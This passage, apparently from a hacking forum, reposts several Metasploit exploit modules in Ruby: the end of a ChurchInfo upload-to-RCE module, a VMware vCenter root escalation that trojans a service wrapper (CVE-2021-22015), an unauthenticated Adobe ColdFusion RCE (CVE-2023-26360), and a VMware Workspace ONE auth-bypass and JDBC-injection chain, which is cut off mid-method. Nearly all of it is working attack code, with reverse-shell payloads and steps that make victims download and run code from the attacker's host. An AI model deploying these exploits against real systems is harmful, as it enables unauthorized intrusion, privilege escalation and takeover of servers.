        OptString.new('EMAIL_SUBJ', [true, 'Email subject in webapp', 'Read this now!']),
        OptString.new('EMAIL_MESG', [true, 'Email message in webapp', 'Hello there!'])
      ]
    )
  end
 
  def check
    if datastore['SSL'] == true
      proto_var = 'https'
    else
      proto_var = 'http'
    end
 
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'Default.php'),
      'method' => 'GET',
      'vars_get' => {
        'Proto' => proto_var,
        'Path' => target_uri.path
      }
    )
 
    unless res
      return CheckCode::Unknown('Target did not respond to a request to its login page!')
    end
 
    # Check if page title is the one that ChurchInfo uses for its login page.
    if res.body.match(%r{<title>ChurchInfo: Login</title>})
      print_good('Target is ChurchInfo!')
    else
      return CheckCode::Safe('Target is not running ChurchInfo!')
    end
 
    # Check what version the target is running using the upgrade pages.
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'),
      'method' => 'GET'
    )
 
    if res && (res.code == 500 || res.code == 200)
      return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!')
    end
 
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'),
      'method' => 'GET'
    )
 
    if res && (res.code == 500 || res.code == 200)
      return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!')
    end
 
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'),
      'method' => 'GET'
    )
 
    if res && (res.code == 500 || res.code == 200)
      return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!')
    else
      return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!')
    end
  end
 
  #
  # The exploit method attempts a login, adds items to the cart, then creates the email attachment.
  # Adding items to the cart is required for the server-side code to accept the upload.
  #
  def exploit
    # Need to grab the PHP session cookie value first to pass to application
    vprint_status('Gathering PHP session cookie')
    if datastore['SSL'] == true
      vprint_status('SSL is true, changing protocol to HTTPS')
      proto_var = 'https'
    else
      vprint_status('SSL is false, leaving protocol as HTTP')
      proto_var = 'http'
    end
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'Default.php'),
      'method' => 'GET',
      'vars_get' => {
        'Proto' => proto_var,
        'Path' => datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + datastore['TARGETURI']
      },
      'keep_cookies' => true
    )
 
    # Ensure we get a 200 from the application login page
    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})")
    end
 
    # Check that we actually are targeting a ChurchInfo server.
    unless res.body.match(%r{<title>ChurchInfo: Login</title>})
      fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!')
    end
 
    # Grab our assigned session cookie
    cookie = res.get_cookies
    vprint_good("PHP session cookie is #{cookie}")
    vprint_status('Attempting login')
 
    # Attempt a login with the cookie assigned, server will assign privs on server-side if authenticated
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'Default.php'),
      'method' => 'POST',
      'vars_post' => {
        'User' => datastore['USERNAME'],
        'Password' => datastore['PASSWORD'],
        'sURLPath' => datastore['TARGETURI']
      }
    )
 
    # A valid login will give us a 302 redirect to TARGETURI + /CheckVersion.php so check that.
    unless res && res.code == 302 && res.headers['Location'] == datastore['TARGETURI'] + '/CheckVersion.php'
      fail_with(Failure::UnexpectedReply, "#{peer} - Check if credentials are correct (response code: #{res.code})")
    end
    vprint_good("Location header is #{res.headers['Location']}")
    print_good("Logged into application as #{datastore['USERNAME']}")
    vprint_status('Attempting exploit')
 
    # We must add items to the cart before we can send the emails. This is a hard requirement server-side.
    print_status('Navigating to add items to cart')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'SelectList.php'),
      'method' => 'GET',
      'vars_get' => {
        'mode' => 'person',
        'AddAllToCart' => 'Add+to+Cart'
      }
    )
 
    # Need to check that items were successfully added to the cart
    # Here we're looking through html for the version string, similar to:
    # Items in Cart: 2
    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})")
    end
    cart_items = res.body.match(/Items in Cart: (?<cart>\d)/)
    unless cart_items
      fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?")
    end
    if cart_items['cart'].to_i < 1
      print_error('No items in cart detected')
      fail_with(Failure::UnexpectedReply,
                'Failure to add items to cart, no items were detected. Check if there are person entries in the application')
    end
    print_good("Items in Cart: #{cart_items}")
 
    # Uploading exploit as temporary email attachment
    print_good('Uploading exploit via temp email attachment')
    payload_name = Rex::Text.rand_text_alphanumeric(5..14) + '.php'
    vprint_status("Payload name is #{payload_name}")
 
    # Create the POST payload with required parameters to be parsed by the server
    post_data = Rex::MIME::Message.new
    post_data.add_part(payload.encoded, 'application/octet-stream', nil,
                       "form-data; name=\"Attach\"; filename=\"#{payload_name}\"")
    post_data.add_part(datastore['EMAIL_SUBJ'], '', nil, 'form-data; name="emailsubject"')
    post_data.add_part(datastore['EMAIL_MESG'], '', nil, 'form-data; name="emailmessage"')
    post_data.add_part('Save Email', '', nil, 'form-data; name="submit"')
    file = post_data.to_s
    file.strip!
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'CartView.php'),
      'method' => 'POST',
      'data' => file,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    )
 
    # Ensure that we get a 200 and the intended payload was
    # successfully uploaded and attached to the draft email.
    unless res.code == 200 && res.body.include?("Attach file:</b> #{payload_name}")
      fail_with(Failure::Unknown, 'Failed to upload the payload.')
    end
    print_good("Exploit uploaded to #{target_uri.path + 'tmp_attach/' + payload_name}")
 
    # Have our payload deleted after we exploit
    register_file_for_cleanup(payload_name)
 
    # Make a GET request to the PHP file that was uploaded to execute it on the target server.
    print_good('Executing payload with GET request')
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'tmp_attach', payload_name),
      'method' => 'GET'
    )
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
end
 

VMware vCenter vScalation Privilege Escalation Exploit​

Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking
 
  include Msf::Post::Linux::Priv
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware vCenter vScalation Priv Esc',
        'Description' => %q{
          This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the
          /usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for anyone in the
          cis group to write to the file, which will execute as root on vmware-vmon service
          restart or host reboot.
 
          This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.
          The following versions should be vulnerable:
          vCenter 7.0 before U2c
          vCenter 6.7 before U3o
          vCenter 6.5 before U3q
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Yuval Lazar' # original PoC, analysis
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/' ],
          [ 'CVE', '2021-22015' ],
          [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html' ]
        ],
        'DisclosureDate' => '2021-09-21',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 1800 # 30min
        },
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS],
          'AKA' => ['vScalation']
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end
 
  # Simplify pulling the writable directory variable
  def base_dir
    datastore['WritableDir'].to_s
  end
 
  def java_wrapper_vmon
    '/usr/lib/vmware-vmon/java-wrapper-vmon'
  end
 
  def check
    group_owner = cmd_exec("stat -c \"%G\" \"#{java_wrapper_vmon}\"")
    if writable?(java_wrapper_vmon) && group_owner == 'cis'
      return CheckCode::Appears("#{java_wrapper_vmon} is writable and owned by cis group")
    end
 
    CheckCode::Safe("#{java_wrapper_vmon} not owned by 'cis' group (owned by '#{group_owner}'), or not writable")
  end
 
  def exploit
    # Check if we're already root
    if is_root? && !datastore['ForceExploit']
      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
    end
 
    # Make sure we can write our exploit and payload to the local system
    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end
 
    # backup the original file
    @backup = read_file(java_wrapper_vmon)
    path = store_loot(
      'java-wrapper-vmon.text',
      'text/plain',
      rhost,
      @backup,
      'java-wrapper-vmon.text'
    )
    print_good("Original #{java_wrapper_vmon} backed up to #{path}")
 
    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    print_status("Writing payload to #{payload_path}")
    upload_and_chmodx payload_path, generate_payload_exe
    register_files_for_cleanup payload_path
 
    # write trojaned file
    # we want to write our payload towards the top to ensure it gets run
    # writing it at the bottom of the file results in the payload not being run
    print_status("Writing trojaned #{java_wrapper_vmon}")
    write_file(java_wrapper_vmon, @backup.gsub('#!/bin/sh', "#!/bin/sh\n#{payload_path} &\n"))
 
    # try to restart the service
    print_status('Attempting to restart vmware-vmon service (systemctl restart vmware-vmon.service)')
    service_restart = cmd_exec('systemctl restart vmware-vmon.service')
    # one error i'm seeing when using vsphere-client is: Failed to restart vmware-vmon.service: The name org.freedesktop.PolicyKit1 was not provided by any .service files
    if service_restart.downcase.include?('access denied') || service_restart.downcase.include?('failed')
      print_bad('vmware-vmon service needs to be restarted, or host rebooted to obtain shell.')
    end
    print_status("Waiting #{datastore['WfsDelay']} seconds for shell")
  end
 
  def cleanup
    unless @backup.nil?
      print_status("Replacing trojaned #{java_wrapper_vmon} with original")
      write_file(java_wrapper_vmon, @backup)
    end
    super
  end
end
 
Exploit: Adobe ColdFusion Unauthenticated Remote Code Execution (CVE-2023-26360)

Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Adobe ColdFusion Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits a remote unauthenticated deserialization of untrusted data vulnerability in Adobe
          ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in
          order to gain remote code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sf', # MSF Exploit & Rapid7 Analysis
        ],
        'References' => [
          ['CVE', '2023-26360'],
          ['URL', 'https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis']
        ],
        'DisclosureDate' => '2023-03-14',
        'Platform' => %w[java win linux unix],
        'Arch' => [ARCH_JAVA, ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true, # Code execution as 'NT AUTHORITY\SYSTEM' on Windows and 'nobody' on Linux.
        'WfsDelay' => 30,
        'Targets' => [
          [
            'Generic Java',
            {
              'Type' => :java,
              'Platform' => 'java',
              'Arch' => [ ARCH_JAVA ],
              'DefaultOptions' => {
                'PAYLOAD' => 'java/meterpreter/reverse_tcp'
              }
            },
          ],
          [
            'Windows Command',
            {
              'Type' => :cmd,
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            },
          ],
          [
            'Windows Dropper',
            {
              'Type' => :dropper,
              'Platform' => 'win',
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'CmdStagerFlavor' => [ 'certutil', 'psh_invokewebrequest' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Unix Command',
            {
              'Type' => :cmd,
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_perl'
              }
            },
          ],
          [
            'Linux Dropper',
            {
              'Type' => :dropper,
              'Platform' => 'linux',
              'Arch' => [ARCH_X64],
              'CmdStagerFlavor' => [ 'curl', 'wget', 'bourne', 'printf' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            # The following artifacts will be left on disk:
            # The compiled CFML class generated from the poisoned coldfusion-out.log (Note: the hash number will vary)
            # * Windows: C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\cfclasses\cfcoldfusion2dout2elog376354580.class
            # * Linux: /opt/ColdFusion2021/cfusion/wwwroot/WEB-INF/cfclasses/cfcoldfusion2dout2elog181815836.class
            # If a dropper payload was used, a file with a random name may be left.
            # * Windows: C:\Windows\Temp\XXXXXX.exe
            # * Linux: /tmp/XXXXXX
            ARTIFACTS_ON_DISK,
            # The following logs will contain IOCs:
            # C:\ColdFusion2021\cfusion\logs\coldfusion-out.log
            # C:\ColdFusion2021\cfusion\logs\exception.log
            # C:\ColdFusion2021\cfusion\logs\application.log
            IOC_IN_LOGS
          ],
          'RelatedModules' => [
            'auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360'
          ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8500),
        OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']),
        OptString.new('CFC_ENDPOINT', [true, 'The target ColdFusion Component (CFC) endpoint', '/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc']),
        OptString.new('CF_LOGFILE', [true, 'The target log file, relative to the wwwroot folder.', '../logs/coldfusion-out.log'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/'
    )

    return CheckCode::Unknown('Connection failed') unless res

    # We cannot identify the ColdFusion version through a generic technique. Instead we use the Recog fingerprint
    # to match a ColdFusion cookie, and use this information to detect ColdFusion as being present.
    # https://github.com/rapid7/recog/blob/main/xml/http_cookies.xml#L69

    if res.get_cookies =~ /(CFCLIENT_[^=]+|CFGLOBALS|CFID|CFTOKEN)=|.cfusion/
      return CheckCode::Detected('ColdFusion detected but version number is unknown.')
    end

    CheckCode::Unknown
  end

  def exploit
    unless datastore['CFC_ENDPOINT'].end_with?('.cfc')
      fail_with(Failure::BadConfig, 'The CFC_ENDPOINT must point to a .cfc file')
    end

    case target['Type']
    when :java
      # Start the HTTP server
      start_service

      # Trigger a loadClass request via java.net.URLClassLoader
      trigger_urlclassloader

      # Handle the payload...
      handler
    when :cmd
      execute_command(payload.encoded)
    when :dropper
      execute_cmdstager
    end
  end

  def on_request_uri(cli, _req)
    if target['Type'] == :java
      print_status('Received payload request, transmitting payload jar...')

      send_response(cli, payload.encoded, {
        'Content-Type' => 'application/java-archive',
        'Connection' => 'close',
        'Pragma' => 'no-cache'
      })
    else
      super
    end
  end

  def trigger_urlclassloader
    # Here we construct a CFML payload to load a Java payload via URLClassLoader.

    # NOTE: If our URL ends with / a XXX.class is loaded, if no trailing slash then a JAR is expected to be returned.

    cf_url = Rex::Text.rand_text_alpha_lower(4)

    srvhost = datastore['SRVHOST']

    # Ensure SRVHOST is a routable IP address to our RHOST.
    if Rex::Socket.addr_atoi(srvhost) == 0
      srvhost = Rex::Socket.source_address(rhost)
    end

    # Create a URL pointing back to our HTTP server.
    cfc_payload = "<cfset #{cf_url} = createObject('java','java.net.URL').init('http://#{srvhost}:#{datastore['SRVPORT']}')/>"

    cf_reflectarray = Rex::Text.rand_text_alpha_lower(4)

    # Get a reference to java.lang.reflect.Array so we can create a URL[] instance.
    cfc_payload << "<cfset #{cf_reflectarray} = createObject('java','java.lang.reflect.Array')/>"

    cf_array = Rex::Text.rand_text_alpha_lower(4)

    # Create a URL[1] instance.
    cfc_payload << "<cfset #{cf_array} = #{cf_reflectarray}.newInstance(#{cf_url}.getClass(),1)/>"

    # Set the first element in the array to our URL.
    cfc_payload << "<cfset #{cf_reflectarray}.set(#{cf_array},0,#{cf_url})/>"

    cf_loader = Rex::Text.rand_text_alpha_lower(4)

    # Create a URLClassLoader instance.
    cfc_payload << "<cfset #{cf_loader} = createObject('java','java.net.URLClassLoader').init(#{cf_array},javaCast('null',''))/>"

    # Load the remote JAR file and instantiate an instance of metasploit.Payload.
    cfc_payload << "<cfset #{cf_loader}.loadClass('metasploit.Payload').newInstance().main(javaCast('null',''))/>"

    execute_cfml(cfc_payload)
  end

  def execute_command(cmd, _opts = {})
    cf_param = Rex::Text.rand_text_alpha_lower(4)

    # If the cf_param is present in the HTTP requests www-form encoded data then proceed with the child tags.
    cfc_payload = "<cfif IsDefined('form.#{cf_param}') is 'True'>"

    # Set our cf_param with the data in the requests form data, this is the command to run.
    cfc_payload << "<cfset #{cf_param}=form.#{cf_param}/>"

    # Here we construct a CFML payload to stage the :cmd and :dropper commands...
    shell_name = nil
    shell_arg = nil

    case target['Platform']
    when 'win'
      shell_name = 'cmd.exe'
      shell_arg = '/C'
    when 'linux', 'unix'
      shell_name = '/bin/sh'
      shell_arg = '-c'
    end

    cf_array = Rex::Text.rand_text_alpha_lower(4)

    # Create an array of arguments to pass to exec()
    cfc_payload << "<cfset #{cf_array}=['#{shell_name}','#{shell_arg}',#{cf_param}]/>"

    cf_runtime = Rex::Text.rand_text_alpha_lower(4)

    # Get a reference to the java.lang.Runtime class.
    cfc_payload << "<cfobject action='create' type='java' class='java.lang.Runtime' name='#{cf_runtime}'/>"

    # Call the static Runtime.exec method to execute our string array holding the command and the arguments.
    cfc_payload << "<cfset #{cf_runtime}.getRuntime().exec(#{cf_array})/>"

    # The end of the If tag.
    cfc_payload << '</cfif>'

    execute_cfml(cfc_payload, cf_param, cmd)
  end

  def execute_cfml(cfml, param = nil, param_data = nil)
    cfc_payload = '<cftry>'

    cfc_payload << cfml

    cfc_payload << "<cfcatch type='any'>"

    cfc_payload << '</cfcatch>'

    cfc_payload << '<cffinally>'

    # Clear the CF_LOGFILE which will contain this CFML code. We need to do this so we can repeatedly execute commands.
    # GetCurrentTemplatePath returns 'C:\ColdFusion2021\cfusion\wwwroot\..\logs\coldfusion-out.log' as this is the
    # template we are executing.
    cfc_payload << "<cffile action='write' file='#GetCurrentTemplatePath()#' output=''></cffile>"

    cfc_payload << '</cffinally>'

    cfc_payload << '</cftry>'

    # We can only log ~950 characters to a log file before the output is truncated, so we enforce a limit here.
    unless cfc_payload.length < 950
      fail_with(Failure::BadConfig, 'The CFC payload is too big to fit in the log file')
    end

    # We dont need to call a valid CFC method, so we just create a random method name to supply to the server.
    cfc_method = Rex::Text.rand_text_alpha_lower(1..8)

    # Perform the request that writes the cfc_payload to the CF_LOGFILE.
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(datastore['CFC_ENDPOINT']),
      'vars_get' => { 'method' => cfc_method, '_cfclient' => 'true' },
      'vars_post' => { '_variables' => "{#{cfc_payload}" }
    )

    unless res && res.code == 200 && res.body.include?('<title>Error</title>')
      fail_with(Failure::UnexpectedReply, 'Failed to plant the payload in the ColdFusion output log file')
    end

    # The relative path from wwwroot to the CF_LOGFILE.
    cflog_file = datastore['CF_LOGFILE']

    # To construct the arbitrary file path from the attacker provided class name, we must insert 1 or 2 characters
    # to satisfy how coldfusion.runtime.JSONUtils.convertToTemplateProxy extracts the class name.
    if target['Platform'] == 'win'
      classname = "#{Rex::Text.rand_text_alphanumeric(1)}#{cflog_file.gsub('/', '\\')}"
    else
      classname = "#{Rex::Text.rand_text_alphanumeric(1)}/#{cflog_file}"
    end

    json_variables = "{\"_metadata\":{\"classname\":#{classname.to_json}},\"_variables\":[]}"

    vars_post = { '_variables' => json_variables }

    unless param.nil? || param_data.nil?
      vars_post[param] = param_data
    end

    # Perform the request that executes the CFML we wrote to the CF_LOGFILE, while passing the shell command to be
    # executed as a parameter which will in turn be read back out by the CFML in the cfc_payload.
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(datastore['CFC_ENDPOINT']),
      'vars_get' => { 'method' => cfc_method, '_cfclient' => 'true' },
      'vars_post' => vars_post
    )

    unless res && res.code == 200 && res.body.include?('<title>Error</title>')
      fail_with(Failure::UnexpectedReply, 'Failed to execute the payload in the ColdFusion output log file')
    end
  end

end
 
Exploit: VMware Workspace ONE Access VMSA-2022-0011 exploit chain (CVE-2022-22956/22957)

Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  class InvalidRequest < StandardError
  end

  class InvalidResponse < StandardError
  end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware Workspace ONE Access VMSA-2022-0011 exploit chain',
        'Description' => %q{
          This module combines two vulnerabilities in order achieve remote code execution in the context of the
          `horizon` user. The first vulnerability CVE-2022-22956 is an authentication bypass in
          OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the
          authentication mechanism and execute any operation. The second vulnerability CVE-2022-22957 is a JDBC
          injection RCE specifically in the DBConnectionCheckController class's dbCheck method which allows an attacker
          to deserialize arbitrary Java objects which can allow remote code execution.
        },
        'Author' => [
          'mr_me', # Discovery & PoC
          'jheysel-r7' # Metasploit Module
        ],
        'References' => [
          ['CVE', '2022-22956'],
          ['CVE', '2022-22957'],
          ['URL', 'https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution'],
          ['URL', 'https://github.com/sourceincite/hekate/'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html']
        ],
        'DisclosureDate' => '2022-04-06',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => %i[curl wget],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'Payload' => {
          'BadChars' => "\x22"
        },
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'LPORT' => 5555
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
  end

  # The VMware products affected do no expose any version information to unauthenticated users.
  # Attempt to exploit the auth bypass to determine if the target is vulnerable. Both the auth bypass and RCE were
  # patched in the following VMware update: https://kb.vmware.com/s/article/88099
  def check
    @token = get_authentication_token
    Exploit::CheckCode::Vulnerable('Successfully by-passed authentication by exploiting CVE-2022-22956')
  rescue InvalidRequest, InvalidResponse => e
    return Exploit::CheckCode::Safe("There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")
  end

  # Exploit OAuth2TokenResourceController ACS Authentication Bypass (CVE-2022-22956).
  #
  # Return the authentication token
  def get_authentication_token
    oauth_client = ['Service__OAuth2Client', 'acs'].sample
    res_activation_token = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'oauth2', 'generateActivationToken', oauth_client),
      'method' => 'POST'
    })

    unless res_activation_token
      raise InvalidRequest, 'No response from the server when requesting an activation token'
    end

    unless res_activation_token.code == 200 && res_activation_token.headers['content-type'] == 'application/json;charset=UTF-8'
      raise InvalidResponse, "Unexpected response code:#{res_activation_token.code}, when requesting an activation token"
    end

    activation_token = res_activation_token.get_json_document['activationToken']

    res_client_info = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'oauth2', 'activate'),
      'method' => 'POST',
      'Content-Type' => 'application/x-www-form-urlencoded',
      'data' => activation_token
    })

    unless res_client_info
      raise InvalidRequest, 'No response from client when sending the activation token and expecting client info in return'
    end

    unless res_client_info.code == 200 && res_client_info.headers['content-type'] == 'application/json;charset=UTF-8'
      raise InvalidResponse, "Unexpected response code:#{res_client_info.code}, when sending the activation token and expecting client info in return"
    end

    json_client_info = res_client_info.get_json_document
    client_id = json_client_info['client_id']
    client_secret = json_client_info['client_secret']

    print_good("Leaked client_id: #{client_id}")
    print_good("Leaked client_secret: #{client_secret}")
    post_data = "grant_type=client_credentials&client_id=#{client_id}&client_secret=#{client_secret}"

    res_access_token = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'SAAS', 'auth', 'oauthtoken'),
      'method' => 'POST',
      'Content-Type' => 'application/x-www-form-urlencoded',
      'data' => post_data
    })

    unless res_access_token
      raise InvalidRequest, 'No response from the server when requesting the access token'
    end

    unless res_access_token.code == 200 && res_access_token.headers['content-type'] == 'application/json;charset=UTF-8' && res_access_token.get_json_document['access_token']
      raise InvalidResponse, 'Invalid response from the server when requesting the access token'
    end

    res_access_token.get_json_document['access_token']
  end

  # Serve the files for the target machine to download.
  # If the request to the server ends in .xml the victim is requesting the spring bean generated by payload_xml method.
  # If the request doesn't in .xml the victim is requesting the linux dropper payload.
  def on_request_uri(cli, request)
    vprint_status("on_request_uri - Request '#{request.method} #{request.uri}'")
    if request.to_s.include?('.xml')
      vprint_status('Sending XML response: ')
      send_response(cli, @payload_xml, { 'Content-Type' => 'application/octet-strem' })
      vprint_status('Response sent')
    else
      vprint_status('Sending PAYLOAD: ')
      send_response(cli, generate_payload_exe(code: payload.encoded), { 'Content-Type' => 'application/octet-strem' })
    end
  end

  # Generates the malicious spring bean that will be hosted by the metasploit http server and downloaded and run by the victim
  #
  # Returns an XML document containing the payload.
  def generate_payload_xml(cmd)
    bean = ''
    builder = ::Builder::XmlMarkup.new(target: bean, indent: 2)
    builder.beans(xmlns: 'http://www.springframework.org/schema/beans', 'xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', 'xsi:schemaLocation': 'http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd') do
      builder.bean(id: 'pb', class: 'java.lang.ProcessBuilder', 'init-method': 'start') do
        builder.constructor do
          builder.list do
            builder.value('/bin/sh')
            builder.value('-c')
            builder.value(cmd)
          end
        end
      end
    end

    bean.gsub!('constructor', 'constructor-arg')
    vprint_status(bean)
    bean
  end

  # Calls the vulnerable dbCheck method in order to download and run the payload the module is hosting.
  def trigger_jdbc_rce(jwt, sub_cmd)
    # jdbc_uri  = "jdbc:postgresql://localhost:1337/saas?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://#{datastore['LHOST']}:#{datastore['SRVPORT']}/#{filename}"
    jdbc_uri = "jdbcUrl=jdbc%3Apostgresql%3A%2F%2Flocalhost%3A1337%2Fsaas%3FsocketFactory%3Dorg.springframework.context.support.FileSystemXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2F#{datastore['LHOST']}%3A#{datastore['SRVPORT']}%2F#{@payload_name}&dbUsername=&dbPassword"
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'system', 'dbCheck'),
      'method' => 'POST',
      'Content-Type' => 'application/x-www-form-urlencoded',
      'Connection' => 'keep-alive',
      'cookie' => "HZN=#{jwt}",
      'data' => jdbc_uri
    })

    fail_with(Failure::Unreachable, "No response from the request to trigger the following sub command: #{sub_cmd}") unless res
    fail_with(Failure::UnexpectedReply, "Unexpected response from the request to trigger the following sub command: #{sub_cmd}") unless res.code == 406 && res.body == '{"success":false,"status":406,"message":"database.connection.notSuccess","code":406}'
  end

  def execute_command(cmd, opts = {})
    vprint_status("Executing the following command: #{cmd}")
    @payload_xml = generate_payload_xml(cmd)
    trigger_jdbc_rce(opts[:jwt], cmd)
  end

  # Instruct the user to exploit CVE-2022-22960
  def on_new_session(_client)
    print_good('Now background this session with "bg" and then run "resource run_cve-2022-22960_lpe.rc" to get a root shell')
  end

  def exploit
    unless @token
      begin
        @token = get_authentication_token
      rescue InvalidRequest => e
        fail_with(Failure::Unreachable, "There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")
      rescue InvalidResponse => e
        fail_with(Failure::UnexpectedReply, "There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")
      end
    end

    @payload_name = Rex::Text.rand_text_alpha(4..12) + '.xml'
    start_service('Path' => "/#{@payload_name}")

